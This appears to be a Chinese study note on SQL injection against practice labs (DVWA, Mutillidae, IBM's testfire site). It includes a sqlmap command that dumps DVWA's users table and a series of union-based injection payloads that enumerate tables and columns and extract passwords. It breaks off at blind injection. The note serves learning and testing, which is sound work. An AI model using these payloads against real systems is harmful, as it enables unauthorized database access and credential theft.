web应用渗透测试技术:sql注入
以魔鬼训练营为例,书中用的是tamper data 插件,现在用burpsuite截获网页数据,注意要获取cookies数据
练习地址:
IBM的测试地址http://www.testfire.net/index.jsp
http://10.10.10.129/mutillidae/index.php?page=login.php
- sqlmap:
查看到字段的语句如下
sqlmap -u 'http://10.10.10.129/dvwa/vulnerabilities/sqli/?id=aa&Submit=Submit' --cookie='security=low; PHPSESSID=5bthna6rgifdi55n5c1sbl9pe7' --batch -D dvwa -T users -C user,passwd,user_id --dump
这里需要注意的是,DVWA网站,如果安全级别是“high”的情况,是扫不出来的。
- XSS漏洞探测之扫描Mutillidae应用,地址:http://10.10.10.129/mutillidae/
利用w3af进行,设置如下
也可以使用acunetix、openvas、nessus
还可以用wXf这个软件。表示没有用过。
- sql注入:
常用:
' or '1=1
’ or 1=1 --' 通过--,注释掉后面的验证,不同数据库注释语句不一样,要查查
可以结合sql语句其他方法进行注入:
原理:union 用于合并2个表,要求两个表有相同列数
用union列出字段探测:' union select 1 --',出错说明列数不相同,继续加列数' union select 1,2 --'直到探测出正确字段个数结果
利用这个方法查询一些有意义的数据库信息:
列出mysql系统中的所有数据表格名称
'union select 1,table_name from INFORMATION_SCHEMA.tables -- ' 注意最后要有空格
列出users数据表格字段
' union select 1,column_name from INFORMATION_SCHEMA.columns where table_name='users' -- '
列出users表中的password字段的值:
' union select NULL,password from users -- '
最后,用concat()把想要的信息合成一起,显示出来:
' union select 1,concat(first_name,' ',last_name,' ',password) from users -- '
基本理论到此结束。
实战一下,通过以上,似乎可以进行简单sql注入,但是心里没底。真正的实战来了:
盲注,字符的拆半拆解和基于服务器响应的时间拆解
拆半拆解: